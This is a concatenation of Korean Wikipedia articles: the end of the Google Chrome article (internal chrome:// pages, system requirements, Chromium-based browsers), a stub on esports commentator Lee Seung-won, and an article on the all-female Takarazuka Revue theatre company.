- 마지막 페이지 로드 상태. about:terms - 크롬 서비스 약관. about:version, about: - 크롬, 웹키트, V8, 그리고 실행에 이용된 명령줄 옵션. chrome://accessibility - 접근성 기능 On/Off, 접근성 트리정보 확인 chrome://bookmarks - 북마크 관리자. chrome://downloads - 다운로드 관리자. chrome://extensions - 확장프로그램 관리자. chrome://history - 방문 기록. chrome://print - 프린트 미리보기 chrome://settings - 크롬 설정. chrome://view-http-cache - 캐시된 HTTP 개체. view-cache:url - 고급설정 캐시의 자세한 부분 중 일부를 볼 수 있다. view-source:url - 특정 URL의 소스코드 보이기. 시스템 요구사항[편집] 최적의 크롬을 사용하려면 다음의 사항이 필요하다.[45] 윈도우: 윈도우 7[46], 인텔 펜티엄 4 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리/윈도우 8 혹은 그 이상 맥 OS X: 10.9.0 또는 그 이상[47], 인텔 (PPC 제외), 100 MB 여유 용량, 128 MB 메모리 리눅스: 우분투 8.04 또는 그 이상 / 데비안 5 / 오픈수세 11.1, 인텔 펜티엄 3 / 애슬론 64 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리 특히 우분투 및 데비안 계열에서의 '사용자 식별 인증키 설정 요구사항'을 만족하는 안정화 버전의 크롬 설치과정은 gdebi라는 어드밴스트 패키징 툴(APT)에 최적화되어있다.[48] 한편 IBM 레드햇 계열의 페도라는 DNF 차원에서 레포지토리 설정후 설치를 지원한다.[49] 그 외[편집] 64비트 지원: 크롬 37에서 윈도우까지 64비트를 지원하게 되어 모든 운영체제에서 64비트를 지원하고 있다. SPDY와 HTTP/2: HTTP/2 표준 선정에 SPDY가 많은 기여를 하였으며 HTTP/2 규격이 발표됨에따라 구글에서는 SPDY 포기하고 HTTP/2에 집중할 것을 선언하였다.[50] 기타 브라우저[편집] 쿨노보 쿨노보(옛 명칭 크롬플러스)는 중국의 메이플 스튜디오에서 크로미엄을 기반으로 만든 웹 브라우저이다. 구글 크롬과 달리 IE 탭, 마우스 제스처 등의 기능을 부가 기능 설치 없이 이용할 수 있다. 대신 보안 업데이트가 느리기 때문에 보안이 취약하다. 크로미엄 크로미엄(Chromium)은 오픈 소스 웹 브라우저 프로젝트이며 주로 최신 기술을 시험하는 테스트 베드 역할로 공식 프로젝트인 구글 크롬의 바탕이 되는 브라우저이다. SR웨어 아이언 SR웨어 아이언(SRWare Iron)은 크로미엄을 기반으로 구현된 오픈 소스 웹 브라우저이다. 구글 크롬과 달리 사용 추적(Usage tracking) 등의 기능이 제거되어 있고, 광고 차단(Ad-block) 기능이 내장되어 있다. 스윙 브라우저 크로미엄 기반 브라우저 이며 줌인터넷에서 엑티브x와 알툴바기능을 집어넣어 만든것이 특징이다. 같이 보기[편집] 웹 브라우저 목록 구글 구글 크롬 OS 크로미엄 OS 블링크 각주[편집] 내용주 ↑ 구글 크롬의 정식 명칭은 'Chrome'이다. 출시 당시에는 Google Chrome이었으나 버전 13부터 Chrome으로 변경되었다.[출처 필요] ↑ 스탯카운터는 조회수를 기준으로 하는 통계이고, 넷 애플리케이션은 순방문자를 기준으로 하는 통계이다. 다시 말해, 스탯카운터의 통계는 가중치를 적용한 통계이고 넷 애플리케이션의 통계는 가중치를 적용하지 않은 통계이다. 예를 들어, 100명의 사용자는 모두 두 분석 업체가 통계를 기반으로 하는 사이트에 접속을 하고, 100명의 사용자 중 70명의 사용자는 인터넷 익스플로러를 사용하고 30명의 사용자는 구글 크롬을 사용한다고 하자. 스탯카운터는 사용자의 조회수에 따라 점유율이 다르게 나타난다. 가령, 70명의 인터넷 익스플로러 사용자가 발생시키는 총 조회수가 400이고, 30명의 구글 크롬 사용자가 발생시키는 총 조회수가 600이라면, 시장 점유율은 인터넷 익스플로러는 40%, 구글 크롬은 60%가 된다. 반면 넷 애플리케이션은 순방문자만을 집계하므로 조회수와 상관없이 시장 점유율은 인터넷 익스플로러는 70%, 구글 크롬은 30%가 된다. 또한, W3카운터는 집계시에 모바일을 함께 하므로 여타 기관들과 표본 차이가 있다. 참조주 ↑ “구글코리아의 크롬 발표 블로거간담회 내용”. 김중태문화원 블로그. 2008년 9월 3일. 2009년 1월 16일에 원본 문서에서 보존된 문서. 2009년 3월 21일에 확인함.  ↑ “스탯카운터의 글로벌 통계”. 스탯카운터. 2013년 9월 20일에 확인함.  ↑ “Chromium.org”. 2010년 12월 3일에 원본 문서에서 보존된 문서. 2010년 12월 22일에 확인함.  ↑ “Release Info”.  ↑ “Google Chrome Releases: Stable Update: Google Chrome 2.0.172.28”. 구글. 2009년 5월 21일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 1월 25일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 3월 17일.  ↑ Brian Rakowski (2010년 5월 25일). “Evolving from beta to stable with a faster version of Chrome”. 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이승원 (방송인) - 위키백과, 우리 모두의 백과사전 이승원 (방송인) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이승원출생 1974년 2월 25일(1974-02-25) (45세)직업 방송인, 게임 해설자 이승원(1974년 2월 25일 ~ )은 대한민국의 방송인, 게임 해설자이다. 승원좌, 무당 해설이라는 닉네임으로도 각각 유명하다. 목차 1 개요 2 방송 경력 2.1 MBC 게임 2.2 온게임넷 2.3 SPO TV 게임즈 2.4 아프리카TV 2.5 MBC 스포츠플러스 2 3 같이 보기 4 각주 5 외부 링크 개요[편집] 한 인터넷 통신 회사에서 근무하다가, MBC게임 로드 오브 종족 최강전 해설을 하고 있던 김동준이 수능 공부 때문에 잠시 빠진 공백을 메우기 위해서 방송 PD의 추천을 받아 방송계로 입문하였다.[1] 스타크래프트 초창기인 Game-i 시절 CoolweN이라는 아이디를 사용하는 아마추어 고수였다. 김철민과 함께 첫 MSL부터 2011년 마지막 MSL까지 해설과 진행을 맡았다. 2012년 2월 MBC게임의 음악 채널 변경 예정으로 인해 게임 중계가 불가능해지자, 2011년 11월 동료 유대현과 함께 온게임넷으로 합류하였다. 2013년 6월에는 온게임넷 프로리그 중계 겸 나이스 게임 TV에서 스타2 천기누설 출연 및 소규모 스타크래프트 II 대회 중계를 맡았다. 2013년 11월 온게임넷에서 주최하는 도타2 인비테이셔널 중계를 맡게 되었다. 2014년 4월 SPO TV 게임즈의 코리아 도타 2 리그 해설로 투입되었다. 2014년 12월 스타크래프트 II 스타리그의 해설을 담당, 스타크래프트 II 종목 해설로 복귀했다. 2016년부터 아프리카 스타리그 ASL 해설을 담당하고 있다. 2018년 1월 12일, MBC 스포츠플러스 2에서 중계하는 오버워치 리그의 해설로 금요일, 토요일 중계를 맡게 되었다. 2018년 3월에는 MBC 스포츠플러스 2에서 중계하는 오버워치 컨텐더스 코리아의 해설로 월요일, 수요일 중계를 맡게 되었다. 방송 경력[편집] MBC 게임[편집] 《MSL》 《프로리그》 《쇼 리플레이 황당무적》 《스타 배넷 어택》 온게임넷[편집] 《프로리그》 《스타뒷담화》 《왓따! 풍선껌크게불기 챔피언쉽 시즌 1》 《WCG》 《도타2 인비테이셔널》 《이승원의 도타 2》 《왓따! 풍선껌크게불기 챔피언쉽 시즌 2》 《도타 2나잇》 SPO TV 게임즈[편집] 《코리아 도타 2 리그》 《스타크래프트 II 스타리그》 《KDL 라운지》 《모바일 게임 차트 쇼 모차르트》 아프리카TV[편집] 《아프리카TV 스타리그》 《오버워치 BJ리그》 《스타 리마스터 리콜》 MBC 스포츠플러스 2[편집] 《오버워치 리그》 《오버워치 컨텐더스 코리아》 같이 보기[편집] 김동준 김철민 각주[편집] ↑ WAU 6회 게임해설 이승원 편[깨진 링크(과거 내용 찾기)] 외부 링크[편집] 게임 해설가 이승원 미니홈피 vdeh 대한민국의 스타크래프트 리그리그개인전 스타리그 MBC게임 스타리그 곰TV 클래식 소닉 스타리그1 아프리카TV 스타리그1 SSL 시리즈1 단체전 프로리그 (1군) 드림리그 (2군) MBC게임 팀리그 위너스리그 경남 - STX컵 마스터즈 조직협회 한국e스포츠협회 게임 개발사 블리자드 엔터테인먼트 게임 배급사 한빛소프트 방송국 OGN MBC 게임 곰TV 아프리카TV SPOTV GAMES 경기장 용산 e-Sports 스타디움 (온게임넷→OGN, 철거됨) 히어로센터 (MBC 게임, 철거됨) 곰TV 목동 스튜디오 (곰TV, 철거됨) ITV 랭킹전 iTV 스튜디오/인천 종합문화예술회관 야외 특설무대(iTV 경인방송, 철거됨) 프릭 업 스튜디오 (아프리카TV) 넥슨 아레나 (SPOTV GAMES) 방송인OGN 정소림 엄재경 김정민 아프리카TV 박상현 이승원 임성춘 SPOTV GAMES 김철민 한승엽 이성은 과거 게임단 KT 롤스터 STX SouL 웅진 스타즈 SK텔레콤 T1 CJ 엔투스 삼성 칸 제8프로게임단 공군 ACE 이스트로 위메이드 폭스 온게임넷 스파키즈 MBC게임 히어로 화승 OZ 기타 e스포츠 스타크래프트 브루드 워 명예의 전당 골든 마우스 MSL 금배지 KeSPA컵 1KeSPA 비공인 리그2012년 9월 22일부로 대한민국의 모든 KeSPA 공인 스타크래프트 리그가 완전히 종료됨. 단, KeSPA 비공인 리그는 열리고 있음. vdeh 대한민국의 스타크래프트 II 리그리그개인전 월드 챔피언십 시리즈 (글로벌 스타크래프트 II 리그 (아프리카TV)) SSL 시리즈 (SPOTV 게임즈) 스타리그 (OGN, 폐지) 단체전 프로리그 (한국e스포츠협회, 폐지) 글로벌 스타크래프트 II 팀 리그 (e스포츠 연맹, 폐지) 기타 KeSPA컵 조직종목사 블리자드 엔터테인먼트 관련 단체 한국e스포츠협회 e스포츠 연맹 (해체) 방송국 SPO TV 게임즈 아프리카TV(GSL 2016 시즌 1부터 주관중) OGN 곰eXP(GSL 2015 시즌 3까지 주관) 경기장 넥슨 아레나 프릭 업 스튜디오 신도림 TG e스타디움 게임단 진에어 그린윙스 MVP 아프리카 프릭스 ZeNEX oGs SlayerS 공군 ACE TSL NS호서 웅진 스타즈 fOu SouL AZUBU LongZhu 프라임 스베누 삼성 갤럭시 CJ 엔투스 KT 롤스터 SK텔레콤 T1 방송인SPOTV 게임즈 성승헌 채민준 김익근 유대현 고인규 안준영 정인호 아프리카TV 박상현 황영재 박진영 채정원 vdeh오버워치 E스포츠 리그리그 구조상부 리그 오버워치 리그 하부 리그 오버워치 컨텐더스 오버워치 오픈 디비전 국가대항전 오버워치 월드컵 조직주관 블리자드 엔터테인먼트 방송국 트위치TV MLG MBC 스포츠플러스 2 (대한민국) 경기장 블리자드 아레나 로스앤젤레스 참가팀 (OWL)대서양 디비전 뉴욕 엑셀시어 런던 스핏파이어 보스턴 업라이징 플로리다 메이헴 필라델피아 퓨전 휴스턴 아웃로즈 태평양 디비전 댈러스 퓨얼 LA 글래디에이터즈 LA 발리언트 샌프란시스코 쇼크 상하이 드래곤즈 서울 다이너스티 한국 중계진리그 정소림 박상현 이승원 황규형 정인호 장지수 컨텐더스 코리아 이인환 이대현 이승원 황규형 정인호 장지수 이 글은 한국 사람에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=이승원_(방송인)&oldid=24038595" 분류: 1974년 태어남살아있는 사람대한민국의 방송인대한민국의 게임 해설가숨은 분류: 깨진 링크를 가지고 있는 문서한국 사람에 관한 토막글모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 4월 15일 (월) 19:51에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
다카라즈카 가극단 - 위키백과, 우리 모두의 백과사전 다카라즈카 가극단 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 다카라즈카 가극단(일본어: 宝塚歌劇団 다카라즈카 가게키단[*])은, 여성으로만 구성된 일본의 가극단으로, 일본의 효고현 다카라즈카 시에 본거지를 두고 있다. 브로드웨이 스타일의 뮤지컬에서, 일본의 순정만화, 문학작품에서 딴 연극을 공연한다. 한큐 전철 산하에 소속되어 있다. 목차 1 개요 2 다카라젠느 3 스타 시스템 4 극단의 조 구성 5 역사 6 극단의 공연 시스템 7 소속 학생 7.1 주요 학생 7.2 기수별 일관(졸업생 포함) 8 함께 보기 9 외부 링크 개요[편집] 한큐 전철의 창시자인 고바야시 이치조(小林一三)가 1913년에 만든 '다카라즈카 창가대'(宝塚唱歌隊)를 시초로 하고 있으며, 1940년 현재의 명칭으로 바뀌었다. 다카라즈카 가극단의 공연은 주로 효고현 다카라즈카 시에 있는 다카라즈카 대극장(宝塚大劇場)과, 도쿄도 지요다 구에 있는 도쿄 다카라즈카 극장(東京宝塚劇場)에서 열린다. 무대에 출연하는 배우는 예외없이 다카라즈카 음악학교의 학생과 졸업생으로 구성되어 있으며, 미혼 여성이다. 가극단을 퇴단한 후에 다시 복귀하는 경우나, 외부의 단원이 다카라즈카 공연에 출연하는 경우는 없다. 또한 극히 드문 몇 예를 제외하고 소속 단원이 외부의 무대나 TV 프로그램 등에 출연하는 경우도 없다. TV 방송이 보급되면서 일시 다라카즈카의 인기가 떨어지며 매스컴으로부터 혹평을 받게 되는 일도 있었으나, 1974년 이케다 리요코의 원작 만화 베르사이유의 장미를 무대화 하며 큰 성공을 이루었다. 베르사이유의 장미는 이후 다카라즈카 가극단의 대표적인 공연으로 손꼽힌다. 다카라즈카 가극단은 '여성으로만 구성되어 있는' 극단인 관계로, 남성 역할도 여성이 맡는다. 여성 역할을 '아가씨 역'(娘役 무스메야쿠[*]), 남성 역할을 '남성 역'(男役 오토코야쿠[*])이라고 부른다. 공연의 주제는 고금동서를 망라하며, 역사극, 판타지, SF 등 다채롭다. 운영은 창립때부터 현재까지 한큐 전철이 운영하고 있고, 한큐 전철의 '창작유희 사업본부 가극 사업부'(創遊事業本部歌劇事業部)가 사업을 담당하고 있으며, 가극단 자체는 '한큐전철의 직할 조직'의 형태를 띠고 있다. 가극단원은 한큐 전철 그룹의 사원 대우로 고용되어 있다. 현 이사장은 한큐 한신 홀딩즈의 이사이며 창립자의 증손자인 고바야시 고이치(小林公一)이다. 1930년 8월 다카라즈카 쓰키구미(月組)의 공연 'Parisette' 다카라젠느[편집] 다카라즈카 가극단의 단원은 통칭 '다카라젠느'(タカラジェンヌ, 파리지엔느에서 본땀)라고 불린다. 단원의 프로필에는 생일은 공개되나, 탄생년도와 본명은 공개되지 않는다. 단원은 모두 예명으로 활동하며, 본명을 예명으로 삼을 수는 없다. (단, 1951년 입단하였던 하세가와 도시코 정도가 유일하게 본명을 예명으로 사용했던 것을 허락받은 적은 있다.) 단원의 예명은 현재는 본인들이 자유롭게 지을 수 있게 되어 있었으나, 초창기에는 하쿠닌잇슈(百人一首)에서 수를 인용하여 짓는 것이 일반적이었다. (2009년 4월 퇴단한 아란 케이(安蘭けい)의 경우 아랑 설화의 '아랑'과 한국 경상남도의 경(慶)에서 따왔다고 한다.) 다카라즈카 가극단의 단원은, 전원 가극단 부속 '다카라즈카 음악학교'에서 예과 및 본과의 2년간의 교육을 받도록 되어 있다. 학교를 졸업하고 가극단에 입단한 후에도 '연구과'의 '생도'라 불린다. 가극단과 다카라즈카 음악학교가 하나였을 당시의 관례가 이어져, 단원을 '생도', 연습장을 '교실', 연출가를 '선생'이라 부른다. 단원은 극단에 입단을 하면 남성역과 아가씨역 가운데 하나를 우선적으로 희망하도록 정해져 있다. 창설 초기에는 아가씨 역 쪽이 인기가 높았으나 현재는 남성 역 쪽이 팬들의 인기가 높으며, 무대 구성 또한 남성 역을 중심으로 구성되고 있다. 스타 시스템[편집] 다카라즈카 가극단의 큰 특징 가운데 하나로, 생도(배우)의 '스타 시스템'을 들 수 있다. 공연하는 작품에서 중요한 배역, 역할을 담당하는 사람은 기본적으로 각 조에 소속된 전 배우(생도) 가운데에서 뽑힌 일부의 스타로 한정되어 있다. 이 스타가 관객동원이나 인기를 몰고 오는데 중요한 역할을 차지하고 있는 것이다. 각 조의 스타의 정점에 선 남자 역할 배우는 '주연 남자역'(主演男役), 통칭 '톱스타'(トップスター)라 불리며, 각 공연의 주역을 맡는다. 이에 따라 각본은 톱스타에 맞춰서 작성된다. 그리고 톱스타의 상대역인 여자 역할의 배우는 '주연 아가씨 역'(トップ娘役), 통칭 '톱 아가씨 역'(トップ娘役)이라 불린다. 각 공연의 히로인 역할은 이 톱 아가씨 역할의 배우가 맡는다. 일반 상업 극단과 달리, 톱스타 및 톱 아가씨 역이 재임중 계속해서 주연의 역할을 맡게 된다. 톱스타를 정점으로, 밑으로 2순위(2番手), 3순위 등 역할이 붙여지나, 톱 스타 외에는 명확하게 고정된 지위가 아니므로 변동되기도 한다. 2순위 남자 배우는 톱스타에 이어 두 번째 서열을 차지하기 때문에 '준 톱스타'라 불리기도 한다. 스타는 그 용모, 스타성(화려함 및 오라), 인기가 중요한 요소이며, 실력이 있다고 해서 반드시 스타가 된다는 보장은 없다. 입단 당시에는 하급 레벨이었으나 노력을 거듭하며 인기를 얻어 톱스타로 승진하게 된 배우들도 있다. 현재의 톱 스타 시스템은 1980년대에 확립되었다. 그 이전에는 더블 톱 스타, 공연마다 주연이 바뀌는 등 유연성 있는 배역 할당이 있었다고 한다. 효고현 무코가와 강변에 자리잡은 다카라즈카 가극단의 극장 및 음악학교 극단의 조 구성[편집] 다카라즈카 가극단은 현재 5개의 그룹과 특별 그룹 '전과'(専科)로 구성되어 있다. 조장 부조장 하나구미 타카쇼 미즈키 하나노 쥬리아 츠키구미 토우카 유리노 아야즈키 세리 유키구미 리카 마스미 소노 하루토 호시구미 마리 유즈미 미키 치구사 소라구미 고토부키 츠카사 미카제 마이라 전과 - 가극단 단원(생도)는, 각각 다섯 그룹또는 전과 소속으로 나뉘어 있다. 각 그룹이 각각 공연을 치르며, 필요에 따라 전과에 소속된 생도가 참가하는 형태를 띠고 있다. 각 그룹(조)에는 대표격인 '조장'(組長)과 부조장(副組長)이 있다. 가장 높은 기수의 상급생이 보통 맡는 조장은 그룹 전체의 총괄, 관리를 맡거나 공사면에 걸쳐 각 그룹의 단원들을 돌보는 역할을 한다. 부조장은 조장을 도와 그룹의 총괄 관리를 담당하며, 조장에 사고가 있을 때 그 직무를 대신한다. 역사[편집] 1914년 4,5월에 있었던 다카라즈카의 제1회 공연:가극 '돈부라코'장소: 다카라즈카 신온천 내 파라다이스 극장 1951년 3월 유키구미 공연 그랜드 레뷔 「하얀 꽃의 비가(白き花の悲歌) - 엘레제」 가운데 남자 역 : 가스가노 야치요(春日野八千代) 한큐 전철을 창립한 고바야시 이치조가 1913년에 결성한 다카라즈카 창가대가 그 시초이다. 1913년 - 다카라즈카 창가대가 만들어지다. 12월에 다카라즈카 소녀가극 양성회(宝塚少女歌劇養成会)로 이름을 바꾸다. 1914년 - 첫 공연을 개최하다. 첫 번째 공연은 모모타로를 주제로 한 가극 '돈부라코'(ドンブラコ). 장소는 다카라즈카 신온천 내의 파라다이스 극장. 1918년 - 데이코쿠 극장에서 도쿄 첫 공연을 가지다. 잡지 '가게키'(歌劇)가 창간되다. 1919년 - 다카라즈카 소녀 가극 양성회를 해산하고, 다카라즈카 음악가극학교를 설립하다. 학생과 졸업생으로 조직된 다카라즈카 소녀 가극단(宝塚少女歌劇団)이 결성되다. 1921년 - 공연 수의 증가에 따라, 하나구미(花組), 쓰키구미(月組)의 두 그룹으로 나뉘다. 1924년 - 주 공연시설인 다카라즈카 대극장(宝塚大劇場)이 완성되다. 유키구미(雪組)가 신설되다. 1927년 - 일본 최초의 레뷔인 '몬 파리'(モン・パリ) 첫 공연이 대성공을 이루다. 1933년 - 현재 최연장 현역 배우인 가스가노 야치요 등장. 도쿄 공연의 증가로 인해 호시구미(星組)가 신설되다. 1934년 - 도쿄 다카라즈카 극장이 개장하다. 애호회원 조직인 다카라즈카 조시도모노카이(宝塚女子友の会, 현 다카라즈카 도모노카이(宝塚友の会))가 만들어지다. 1935년 - 화재로 인해 다카라즈카 대극장이 불타다. 4월에 다시 완성. 1938년 - 첫 해외 공연(독일, 이탈리아, 폴란드 순회)을 가지다. 다음해에는 미국을 순회 공연. 1939년 - 다카라즈카 음악가극학교가 '다카라즈카 음악무용학교'로 이름을 바꾸다. 다카라즈카 소녀 가극단과 다카라즈카 음악무용학교가 분리되다. 당시의 시국 악화로 인해 호시구미가 폐지되다. 1940년 - 다카라즈카 가극단(宝塚歌劇団)으로 이름을 바꾸다. 1944년 - 태평양전쟁으로 인해 다카라즈카 대극장과 도쿄 다카라즈카 극장이 폐쇄되다. 1946년 - 다카라즈카 음악무용학교가 다카라즈카 음악 학교로 이름을 바꾸다. 다카라즈카 대극장 공연이 재개되다. 1948년 - 노동기준법 대처를 위해 호시구미가 부활되다. 1957년 - 고바야시 이치조 사망. 1958년 - 다카라즈카 대극장 쓰키구미 공연 도중 가즈키 히로미(香月弘美)가 사고로 인해 관객이 보는 앞에서 사망하는 참사가 벌어지다. 1974년 8월 29일 - '베르사이유의 장미'의 첫 공연이 열리다. 대히트를 치다. 당시 TV에 밀려 인기가 저조해가던 다카라즈카 가극단을 중흥시킨 작품이 되다. 이를 계기로 다카라즈카의 팬이 급증하다. 1978년 - 부속 공연시설인 다카라즈카 바우홀이 개장하다. 1993년 - 신 다카라즈카 대극장이 신축개장되다. 구 극장은 69년 역사의 막을 내리다. 1995년 1월 17일 - 한신 아와지 대지진으로 다카라즈카 대극장, 바우홀이 피해를 입다. 1996년 빈 뮤지컬 『엘리자베트』를 유키구미가 처음으로 일본에 소개하다. 대히트를 치다. 1998년 - 도쿄 공연의 매년 정기 개최를 위해, 소라구미(宙組)를 신설하다. 도쿄 다카라즈카 가극단의 개축기간 동안의 공연을 위해 'TAKARAZUKA1000days 극장'을 임시개장하다. 2001년 - 신 도쿄 다카라즈카 극장이 개장하다. 2002년 7월 1일 - 다카라즈카 가극단 전문 방송 채널인 'TAKARAZUKA SKY STAGE'가 방송을 개시하다. 2007년 - '고바야시 이치조 서거 50년 스페셜' 공연을 갖다. 2009년 - 본공연의 공연기간을 단축하여, 1년에 10회의 공연을 치르게 되다. 극단의 공연 시스템[편집] 다카라즈카 가극단은, '본공연'(本公演)이라 불리는 대극장 작품을 중심으로, 전국 순회 공연을 가지며, 다카라즈카 바우 홀 공연, 시어터 드라마시티, 우메다 예술극장(梅田芸術劇場, 오사카), 하카타좌(博多座, 후쿠오카), 주니치 극장(中日劇場, 나고야), 닛세이극장(日生劇場, 도쿄) 등에서도 공연을 한다. 본공연은 다카라즈카 대극장이나 도쿄 다카라즈카 극장에서 상연하는 공연이다. 각 그룹이 돌아가면서 공연을 갖는다. 보통은 소속 작가가 각 그룹의 톱스타에 맞춰서 작성한 신작을 상영하나, 해외 뮤지컬 상연이나 과거의 작품을 재연하는 경우도 있다. 2000년 이래로, 하나구미 -> 호시구미 -> 유키구미 -> 소라구미 -> 쓰키구미 -> 하나구미... 순으로 공연을 갖는 것이 정착되었다. 본공연에는 각 그룹의 모든 단원(생도)이 전원출연을 하며, 필요에 따라 전과 그룹에서 몇명이 참가하기도 한다. 한 공연은 30~45일 정도 이루어지며, 원칙으로 다카라즈카 대극장 공연이 이루어진 후에 도쿄 다카라즈카 극장에서 계속해서 공연을 한다. 공연 작품이 대히트를 치는 경우에도 공연기간이 연장되는 경우는 없다. 공연 중 음악은 전속 오케스트라가 담당한다. 각 그룹 별로 본 공연은 1년에 1,2 작품 정도이며, 공연과 공연 사이에는 전국 순회 공연을 갖거나 시어터 드라마시티, 우메다 예술극장, 하카타좌, 주니치 극장, 닛세이극장 등지에서 공연을 갖는다. 본공연이 열리는 기간 중에는 연구과 7년차 이내의 신인들 위주로 편성되는 신인 공연이 다카라즈카 대극장 및 도쿄 다카라극장에서 열린다. 소속 학생[편집] 주요 학생[편집] 전과 마츠모토 유리(다카라즈카 가극단 이사) 토도로키 유우(위와 같음)   톱스타 톱 여역 하나구미 아스미 리오 센나 아야세 츠키구미 타마키 료 마나키 레이카 유키구미 노조미 후토 마아야 키호 호시구미 쿠레나이 유즈루 키사키 아이리 소라구미 마카제 스즈호 호시카제 마도카 주요 졸업생에 대해서는 다카라즈카 가극단 졸업생을 참고 기수별 일관(졸업생 포함)[편집] 1기생 - 2기생 - 3기생 - 4기생 - 5기생 - 6기생 - 7기생 - 8기생 - 9기생 - 10기생 11기생 - 12기생 - 13기생 - 14기생 - 15기생 - 16기생 - 17기생 - 18기생 - 19기생 - 20기생 21기생 - 22기생 - 23기생 - 24기생 - 25기생 - 26기생 - 27기생 - 28기생 - 29기생 - 30기생 31기생 - 32기생 - 33기생 - 34기생 - 35기생 - 36기생 - 37기생 - 38기생 - 39기생 - 40기생 41기생 - 42기생 - 43기생 - 44기생 - 45기생 - 46기생 - 47기생 - 48기생 - 49기생 - 50기생 51기생 - 52기생 - 53기생 - 54기생 - 55기생 - 56기생 - 57기생 - 58기생 - 59기생 - 60기생 61기생 - 62기생 - 63기생 - 64기생 - 65기생 - 66기생 - 67기생 - 68기생 - 69기생 - 70기생 71기생 - 72기생 - 73기생 - 74기생 - 75기생 - 76기생 - 77기생 - 78기생 - 79기생 - 80기생 81기생 - 82기생 - 83기생 - 84기생 - 85기생 - 86기생 - 87기생 - 88기생 - 89기생 - 90기생 91기생 - 92기생 - 93기생 - 94기생 - 95기생 - 96기생 - 97기생 - 98기생 - 99기생 - 100기생 101기생 - 102기생 - 103기생 함께 보기[편집] 다카라즈카 가극단의 패러디 사쿠라 대전 - 주인공들이 평소에 활동하는 '제국화격단'(帝国華撃団 데이코쿠 가게키단[*])은 다카라즈카 가극단과 유사한 점이 있다. 오란고교 호스트부 - 다카라즈카 가극단을 패러디한 부활동 '시라유리회'(통칭 즈카부(ヅカ部)가 등장한다. 다카라즈카 가극단 출신 유명 인사 하토야마 미유키 - 다카라즈카 가극단의 졸업생이자, 전 일본 내각총리대신 하토야마 유키오의 부인. 외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.다카라즈카 가극단 (일본어) 다카라즈카 극장 공식 사이트 (일본어) 한큐 커뮤니케이션즈 vdeh한큐 한신 도호 그룹지주회사 한큐 한신 홀딩스 철도산업 한큐 전철(한큐 전철 고베 본선 한큐 전철 다카라즈카 본선 한큐 전철 교토 본선) 한신 전기 철도 한신 전기 철도 본선 한신 전기 철도 한신 난바 선 기타오사카 급행 전철 고베 전철 보유노세 전철 호쿠신 급행 전철 고베 고속 철도 롯코 마야 철도 버스·택시 사업 한큐 버스 한신 버스 한큐 시골 버스 신테츠 버스 단고 해륙 교통 오사카 공항 교통 한큐 택시 한신 택시 여행·운송 사업 한큐 한신 교통사 홀딩스〔한큐 교통사(한큐 한신 비지니스 여행/트라픽스)/한큐 한신 익스프레스〕 호텔 사업 한큐 한신 호텔(한큐 한신 레스토랑) 부동산 사업 한큐 부동산 한신 부동산 엔터테인먼트·커뮤니케이션 사업 도호 다카라즈카 가극단 주식회사 오에스 코마 스타디움 간사이 TV 방송 한큐 커뮤니케이션 소매 사업 H2O 리테일링 (기업)〔한큐 한신 백화점(한큐 백화점 한신 백화점) 주식회사 한쇼쿠(한큐 오아시스 한큐 패밀리 스토어 한큐 닛쇼 스토어 주식회사 한큐 프레쉬엘)〕 주식회사 한큐 리테일즈(아스나스) 북 퍼스트 그외 사업 한신 타이거스 프로 야구팀 한큐 한신 카드 관련 시설 다카라즈카 대극장 한신 고시엔 구장 우메다 한큐 빌딩 한큐 그랜드 빌딩 한큐 차야마치 빌딩 하비스 오사카 우메다 한신 제2 빌딩 관련 항목 대규모 사철(준 대기업 사철) 센슈 이케다 홀딩스 FNN FNS 스룻토KANSAI PiTaPa Hanica 긴키 닛폰 철도 오사카 시 교통국(오사카 시영 지하철) 산요 전기 철도 게이한 전기 철도 한큐전철 신포선 한큐 마을(우메다) 한큐·한신 경영 통합 한큐 전철 (소설) 전거 통제 WorldCat VIAF: 154786637 LCCN: n82010728 GND: 7556522-5 SUDOC: 098137778 BNF: cb16527444p (데이터) BIBSYS: 12066282 뮤직브레인즈: 99397ea0-24c2-47e0-9daa-6f79871c15a9 NLA: 35999531 NDL: 00281600 CiNii: DA00955524 원본 주소 "https://ko.wikipedia.org/w/index.php?title=다카라즈카_가극단&oldid=22362302" 분류: 다카라즈카 가극단일본의 연극한큐 한신 홀딩스한큐 한신 도호 그룹다카라즈카시기쿠치 간상 수상자숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서NLA 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 